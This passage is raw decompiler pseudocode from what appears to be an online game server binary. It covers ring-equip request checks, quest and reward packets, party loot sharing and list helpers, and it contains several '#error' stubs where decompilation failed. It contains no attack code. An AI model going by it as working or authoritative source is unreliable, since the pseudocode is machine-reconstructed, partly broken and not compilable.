**)(int, int))(v11 + 8))(v10 + 35536, a2) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : wrong slot", v12); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v10 + 776))(v10, 12, 17); LABEL_8: --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ"); return; } LOBYTE(v13) = *(_BYTE *)(netcmd + 3); v14 = (_BYTE)v13 == 15 || (_BYTE)v13 == 16; v13 = (unsigned __int8)v13; if ( !v14 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : wrong equip", v13); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v10 + 776))(v10, 12, 17); goto LABEL_8; } if ( *(_BYTE *)(v10 + 66008) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v10 + 776))(v10, 12, 17); } else { if ( !(unsigned __int8)(*(int (__thiscall **)(int, signed int, int))(*(_DWORD *)(v10 + 57736) + 12))( v10 + 57736, 9, v36) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v10 + 2728))(v10); v15 = *(_DWORD *)(v10 + 35536); v16 = *(_BYTE *)(netcmd + 2); v36 = *(_BYTE *)(netcmd + 2); v17 = (*(int (__thiscall **)(int, int))v15)(v10 + 35536, v16); if ( ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v17 + 8)) ) { v18 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v17 + 8))->data; v19 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v17 + 8))->dataserv; if ( AssertClass::operator__( &shineassert, v18 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Try to equip empty cell", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v10 + 776))(v10, 12, 17); goto LABEL_48; } if ( !((1 << (((unsigned int)*(_BYTE *)(v10 + 32118) >> 2) & 0x1F)) & v18->WhoEquip) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v10 + 776))(v10, 12, 17); goto LABEL_48; } if ( v18->DemandLv > (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v10 + 1220))(v10) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v10 + 776))(v10, 12, 17); goto LABEL_48; } v20 = EquipEnumChanger::eec_EquipLocation(&equipman, v19, (ItemBag *)(v10 + 32168)); if ( v20 ) { v21 = v20 == 15 || v20 == 16; if ( AssertClass::operator__( &shineassert, v21, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : Try to equip Not Ring", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v10 + 776))(v10, 12, 17); } else { v22 = *(_BYTE *)(equcell + 3); if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)(v10 + 57736) + 12))( v10 + 57736, 8, *(_BYTE *)(equcell + 3)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v10 + 776))(v10, 12, 17); } else { equcella = (**(int (__thiscall ***)(_DWORD, _DWORD))(v10 + 32168))(v10 + 32168, v22); v23 = !v18->Type && v22 < (*(int (__thiscall **)(int))(*(_DWORD *)(v10 + 32168) + 8))(v10 + 32168); if ( AssertClass::operator__( &shineassert, v23, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ : Try to equip invalid item", *(_WORD *)(v17 + 8)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v10 + 776))(v10, 12, 17); } else { v24 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = a6; *((_DWORD *)v24 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v10 + 836))(v10); *(_WORD *)v24 = 13328; *((_WORD *)v24 + 8) = v22 & 0x3FF | 0x2000; *((_DWORD *)v24 + 2) = *(_DWORD *)v17; *((_DWORD *)v24 + 3) = *(_DWORD *)(v17 + 4); *((_WORD *)v24 + 14) = *(_WORD *)((*(int (__thiscall **)(int))(*(_DWORD *)v10 + 1916))(v10) + 4); v25 = v24 + 26; *((_WORD *)v24 + 13) = v36 & 0x3FF | 0x2400; if ( *(_WORD *)(equcella + 8) == -1 ) { *(_DWORD *)(v24 + 22) = -1; *(_DWORD *)(v24 + 18) = -1; } else { *(_DWORD *)(v24 + 18) = *(_DWORD *)equcella; *(_DWORD *)(v24 + 22) = *(_DWORD *)(equcella + 4); } v24[30] = 0; v26 = ProtocolPacket::pp_SetPacketLen(&gpp, 31); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v26, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ : Packet Too Long", 31) ) { v27 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v27); } v28 = (*(int (__thiscall **)(int))(*(_DWORD *)v10 + 1916))(v10); v29 = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v10 + 1916))(v10) + 4); v30 = *(_DWORD *)v28; _.fe_FunctionCode = v25; (*(void (__thiscall **)(int))(v30 + 48))(v28); v31 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v10 + 1916))(v10); v32 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v10 + 1916))(v10); (*(void (__thiscall **)(int, _DWORD, int, int, char *, int))(*(_DWORD *)v31 + 48))( v31, *(_WORD *)(v32 + 4), v17, netcmd, v25, handle); v33 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v10 + 1916))(v10); ++*(_WORD *)(v33 + 4); *(_BYTE *)(v10 + 66008) = 1; } } } goto LABEL_48; } } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v10 + 776))(v10, 12, 17); goto LABEL_48; } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v10 + 776))(v10, 12, 17); } LABEL_48: v37 = -1; FunctionEntarance::_FunctionEntarance(&_); } // 4DF7C0: could not find valid save-restore pair for ebp //----- (004DFD20) -------------------------------------------------------- #error "4DFD20: undefined or illegal type '#325' (funcsize=107)" //----- (004DFEB0) -------------------------------------------------------- #error "4DFEB0: undefined or illegal type '#325' (funcsize=71)" //----- (004DFFB0) -------------------------------------------------------- void __thiscall TreasureChestLocationManager::TreasureChestLocationManager(TreasureChestLocationManager *this) { BitSet::BitSet(&this->baseclass_0, 8); } //----- (004DFFD0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5C8F28: using guessed type int (__stdcall *List_ItemOperateElement____vftable_[3])(__int16 hnd); //----- (004DFFF0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ItemOperateElement *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { memcpy(v3, ele, 0x78u); result = 1; } else { result = 0; } return result; } //----- (004E0030) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ItemOperateElement *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x78u); this->vfptr->l_Free(this, v3); } return 1; } //----- (004E0080) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ItemOperateElement *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x78u); this->vfptr->l_Free(this, v3); } return 1; } //----- (004E00D0) -------------------------------------------------------- void __thiscall ItemOperateList::_ItemOperateList(int this) { int v1; // esi@1 void *v2; // esi@1 v1 = this; *(_DWORD *)this = List::_vftable_; _eh_vector_destructor_iterator_( (void *)(this + 24), 0x78u, 40, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *(_DWORD *)v1 = List::_vftable_; v2 = *(void **)(v1 + 8); if ( v2 ) operator delete__(v2); } // 5C8F28: using guessed type int (__stdcall *List_ItemOperateElement____vftable_[3])(__int16 hnd); //----- (004E0140) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone(void *this, int lc) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = *(_WORD *)gpp.pp_Buffer & 0x3FF | 0x5000; if ( !*(_DWORD *)(lc + 16) ) { *(_WORD *)((char *)v2 + 32055) += *(_WORD *)(lc + 20); *((_WORD *)v3 + 1) = *(_WORD *)((char *)v2 + 32055); *(_WORD *)v3 = *(_WORD *)v3 & 0xFC03 | 3; } if ( *(_DWORD *)(lc + 16) == 1 ) { *(_WORD *)((char *)v2 + 32057) += *(_WORD *)(lc + 20); *((_WORD *)v3 + 1) = *(_WORD *)((char *)v2 + 32057); *(_WORD *)v3 = *(_WORD *)v3 & 0xFC04 | 4; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_soulstonebox : Packet Too Long", 4); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_PointStone"); } //----- (004E0290) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward(void *this, int lc) { void *v2; // esi@1 char v3; // ST04_1@2 char v4; // ST00_1@2 CCharacterTitleZone *v5; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShinePlayer::sp_GainExp(v2, *(_DWORD *)(lc + 16), 65535, 65535); (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 32))(v2, *(_DWORD *)(lc + 20)); if ( *(_BYTE *)(lc + 24) ) { v3 = *(_BYTE *)(lc + 25); v4 = *(_BYTE *)(lc + 24); v5 = (CCharacterTitleZone *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1036))(v2); CCharacterTitleZone::SetTitleStatus(v5, v4, v3, ELEMENT_USABLE); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_InvenCellReleaser_QuestReward"); } // 41F500: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_GainExp(_DWORD, _DWORD, _DWORD, _DWORD); //----- (004E0370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KQReward(void *this, int rewardstr) { void *v2; // esi@1 int v3; // ebp@1 unsigned int v4; // eax@1 char *v5; // eax@1 int v6; // edx@1 int v7; // ebx@7 unsigned int v8; // eax@8 char *v9; // eax@8 int v10; // ecx@8 ShineReward *v11; // eax@9 ShineReward *v12; // edi@9 int v13; // eax@11 char v14; // al@11 char *v15; // edi@16 int v16; // ebp@16 int v17; // ecx@17 unsigned int v18; // eax@17 char *v19; // eax@17 ZoneBaseSession *v20; // eax@19 int v21; // edi@20 int v22; // eax@20 int v23; // edi@20 int v24; // eax@20 int v25; // eax@20 char *v26; // [sp+4h] [bp-420h]@5 signed int fame; // [sp+18h] [bp-40Ch]@7 int famea; // [sp+18h] [bp-40Ch]@16 int cen; // [sp+1Ch] [bp-408h]@3 int exp; // [sp+20h] [bp-404h]@3 TreasureChestMaker itemmaker; // [sp+28h] [bp-3FCh]@3 unsigned int v32; // [sp+414h] [bp-10h]@6 int v33; // [sp+420h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KQReward"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KQReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)((char *)v2 + 32025); *((_DWORD *)v5 + 1) = *(_DWORD *)((char *)v2 + 32029); *((_DWORD *)v5 + 2) = *(_DWORD *)((char *)v2 + 32033); *((_DWORD *)v5 + 3) = *(_DWORD *)((char *)v2 + 32037); v5[16] = 0; v6 = *(_DWORD *)v2; v33 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(v6 + 1136))(v2) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) == 3 ) goto LABEL_5; exp = 0; cen = 0; TreasureChestMaker::TreasureChestMaker(&itemmaker, chest, 7, 0); LOBYTE(v33) = 1; if ( !TreasureChestMaker::tcm_GetItemNum(&itemmaker) ) { LOBYTE(v33) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); LABEL_5: v33 = -1; v26 = "ShineObjectClass::ShinePlayer::sp_KQReward"; goto LABEL_6; } v7 = rewardstr + 36; fame = 15; do { v8 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v8; v9 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v8]]; v10 = (*((_DWORD *)v9 + 8192) + 1) & *((_DWORD *)v9 + 8193); *((_DWORD *)v9 + 8192) = v10; if ( *(_WORD *)&v9[2 * v10] < *(_WORD *)(v7 + 30) ) { v11 = RewardData::rd_FindHandle(&rewarddata, *(_WORD *)v7); v12 = v11; if ( v11 ) { switch ( v11->RewardType ) { case 1: v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1160))(v2); v14 = (*(int (__thiscall **)(int))(*(_DWORD *)v13 + 40))(v13); TreasureChestMaker::tcm_ItemMake(&itemmaker, 7, v12, 1 << v14); break; case 2: exp += v11->Quantity; break; case 3: cen += v11->Quantity; break; case 4: v3 += v11->Quantity; break; default: break; } } } v7 += 2; --fame; } while ( fame ); v15 = gpp.pp_Buffer; famea = v3; v16 = TreasureChestMaker::tcm_PutInto( &itemmaker, 0, (PROTO_ITEM_CMD *)gpp.pp_Buffer + 36, 0, (TreasureChestLocationManager *)((char *)v2 + 89150), 2u); if ( v16 ) { *(_WORD *)v15 = 22549; *((_DWORD *)v15 + 4) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *((_WORD *)v15 + 7) = *((_WORD *)v2 + 2); *((_WORD *)v15 + 12) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2) + 4); *(_DWORD *)(v15 + 6) = cen; *(_DWORD *)(v15 + 2) = famea; *(_DWORD *)(v15 + 10) = 0; v17 = *(_DWORD *)((char *)v2 + 98); v18 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v18; v19 = (char *)&namestring + 256 * v18; *(_DWORD *)v19 = *(_DWORD *)v17; *((_DWORD *)v19 + 1) = *(_DWORD *)(v17 + 4); *((_DWORD *)v19 + 2) = *(_DWORD *)(v17 + 8); v19[12] = 0; *((_WORD *)v15 + 13) = BTree::operator__(&mapdatabox.mdb_btree, v19); *((_DWORD *)v15 + 7) = 0; *((_DWORD *)v15 + 8) = 0; *((_DWORD *)v15 + 5) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v16 + 37) ) { v20 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v20); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_KQReward : Packet Too Long", v16 + 37); } v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); v22 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD, int, _DWORD, signed int))(*(_DWORD *)v21 + 56))( v21, *(_WORD *)(v22 + 4), cen, 0, 1); v23 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); v24 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD, int, signed int))(*(_DWORD *)v23 + 60))(v23, *(_WORD *)(v24 + 4), famea, 1); v25 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); ++*(_WORD *)(v25 + 4); ShineObjectClass::ShinePlayer::sp_GainExp(v2, exp, 65535, 65535); } LOBYTE(v33) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v33 = -1; v26 = "ShineObjectClass::ShinePlayer::sp_KQReward"; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v26); __security_check_cookie(v32); } // 41F500: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_GainExp(_DWORD, _DWORD, _DWORD, _DWORD); //----- (004E0760) -------------------------------------------------------- #error "4E0760: undefined or illegal type '#325' (funcsize=74)" //----- (004E0870) -------------------------------------------------------- #error "4E0870: undefined or illegal type '#325' (funcsize=60)" //----- (004E0950) -------------------------------------------------------- #error "4E0950: undefined or illegal type '#325' (funcsize=74)" //----- (004E0A60) -------------------------------------------------------- #error "4E0A60: undefined or illegal type '#325' (funcsize=60)" //----- (004E0B40) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004E0B90) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ItemOperateElement *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { memcpy(v3, ele, 0x78u); result = 1; } else { result = 0; } return result; } //----- (004E0BC0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004E0CE0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct(void *this, int kqe) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)KQRewardDataBox::operator__(&kqreward, *(_WORD *)(kqe + 79)); if ( v3 ) ShineObjectClass::ShinePlayer::sp_KQReward(v2, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardStruct"); } //----- (004E0D90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex(void *this, char *idx) { void *v2; // esi@1 int v3; // eax@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)KQRewardDataBox::operator__(&kqreward, idx); if ( v3 ) ShineObjectClass::ShinePlayer::sp_KQReward(v2, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_KQRewardIndex"); } //----- (004E0E40) -------------------------------------------------------- int __thiscall ItemOperateList::ItemOperateList(int this) { int v1; // esi@1 signed int v2; // edx@1 signed int v3; // eax@1 int v4; // edi@1 signed int v5; // ebx@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 int v15; // ecx@12 int v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 v1 = this; *(_DWORD *)this = List::_vftable_; *(_DWORD *)(this + 16) = 0; List::l_MakeList((List *)this, 0x28u); *(_DWORD *)v1 = List::_vftable_; _eh_vector_constructor_iterator_( (void *)(v1 + 24), 0x78u, 40, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 36; v4 = v1 + 144; v5 = 8; do { if ( v2 - 2 < *(_WORD *)(v1 + 4) ) { v6 = *(_DWORD *)(v1 + 8); v7 = *(_DWORD *)(v6 + v3 - 36); v8 = v6 + v3 - 36; if ( !v7 ) *(_DWORD *)v8 = v4 - 120; } if ( v2 - 1 < *(_WORD *)(v1 + 4) ) { v9 = *(_DWORD *)(v1 + 8); v10 = *(_DWORD *)(v9 + v3 - 24); v11 = v9 + v3 - 24; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < *(_WORD *)(v1 + 4) ) { v12 = *(_DWORD *)(v1 + 8); v13 = *(_DWORD *)(v12 + v3 - 12); v14 = v12 + v3 - 12; if ( !v13 ) *(_DWORD *)v14 = v4 + 120; } if ( v2 + 1 < *(_WORD *)(v1 + 4) ) { v15 = *(_DWORD *)(v1 + 8); v16 = *(_DWORD *)(v15 + v3); v17 = v3 + v15; if ( !v16 ) *(_DWORD *)v17 = v4 + 240; } if ( v2 + 2 < *(_WORD *)(v1 + 4) ) { v18 = *(_DWORD *)(v1 + 8); v19 = *(_DWORD *)(v18 + v3 + 12); v20 = v18 + v3 + 12; if ( !v19 ) *(_DWORD *)v20 = v4 + 360; } v3 += 60; v2 += 5; v4 += 600; --v5; } while ( v5 ); return v1; } // 5C8F28: using guessed type int (__stdcall *List_ItemOperateElement____vftable_[3])(__int16 hnd); //----- (004E0F70) -------------------------------------------------------- #error "4E0F70: undefined or illegal type '#434' (funcsize=182)" //----- (004E11F0) -------------------------------------------------------- #error "4E11F0: undefined or illegal type '#434' (funcsize=127)" //----- (004E13B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_partyitemdistribute(#325 *this, ItemTotalInformation *a2, unsigned __int16 itemonfield) { int v3; // ebx@1 int v4; // eax@1 signed int v5; // edi@1 int v6; // esi@1 unsigned __int16 v7; // bp@1 int v8; // eax@2 int v9; // esi@2 int v10; // edx@4 int v11; // edx@9 int v12; // edi@9 signed int v13; // esi@11 char *v14; // eax@17 int v15; // eax@19 unsigned int nearpartymember; // [sp+0h] [bp-34h]@1 unsigned int lastpicktime; // [sp+4h] [bp-30h]@1 int v18; // [sp+8h] [bp-2Ch]@1 char *v19; // [sp+Ch] [bp-28h]@1 int v20[5]; // [sp+14h] [bp-20h]@2 int v21; // [sp+30h] [bp-4h]@1 int itemhandle; // [sp+40h] [bp+Ch]@0 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_partyitemdistribute"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_partyitemdistribute"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)v3; v5 = 0; v6 = 0; v21 = 0; v18 = 0; lastpicktime = clockwatch.cw_CurrTick; nearpartymember = 0; v7 = (*(int (__thiscall **)(int))(v4 + 1336))(v3); v19 = (char *)&partycontainer + 168 * v7; if ( *v19 ) { do { v20[v5] = 0; v8 = (int)PartyManufacture::pm_FindMember(&partymanufacture, v7, v5); v9 = v8; if ( v8 ) { if ( (unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v3, v8) <= 0xF4240 ) { ++nearpartymember; v10 = *(_DWORD *)v9; v20[v5] = v9; if ( lastpicktime > (*(int (__thiscall **)(int))(v10 + 1032))(v9) ) { v18 = v9; lastpicktime = (*(int (__thiscall **)(int))(*(_DWORD *)v9 + 1032))(v9); } } } ++v5; } while ( v5 < (unsigned __int8)*v19 ); v6 = v18; } if ( *(_WORD *)(itemonfield + 8) == unk_1257418C ) { v11 = *(_DWORD *)(itemonfield + 10) % nearpartymember; v12 = *(_DWORD *)(itemonfield + 10) / nearpartymember; if ( !v12 ) v12 = 1; v13 = 0; do { (*(void (__fastcall **)(int, int, int))(*(_DWORD *)v20[v13] + 1848))(v20[v13], v11, v12); ++v13; } while ( v13 < 5 ); (*(void (**)(void))(*(_DWORD *)&a2->iti_registnum.binary.gap0[0] + 1332))(); } else { if ( v6 ) { if ( *(_WORD *)(v6 + 4) != *(_WORD *)(v3 + 4) ) { v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12315; *((_WORD *)v14 + 1) = *(_WORD *)(itemonfield + 8); *((_WORD *)v14 + 2) = *(_WORD *)(v6 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) { v15 = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_partyitemdistribute : Packet Too Long", 6); } } (*(void (__thiscall **)(int, ItemTotalInformation *, _DWORD, int))(*(_DWORD *)v6 + 1856))( v6, a2, itemonfield, itemhandle); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_partyitemdistribute : Null picker", 0); } } --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_partyitemdistribute"); } // 4E13B0: using guessed type int var_20[5]; //----- (004E15C0) -------------------------------------------------------- #error "4E15C0: undefined or illegal type '#325' (funcsize=335)" //----- (004E1A30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_PickupMoney(void 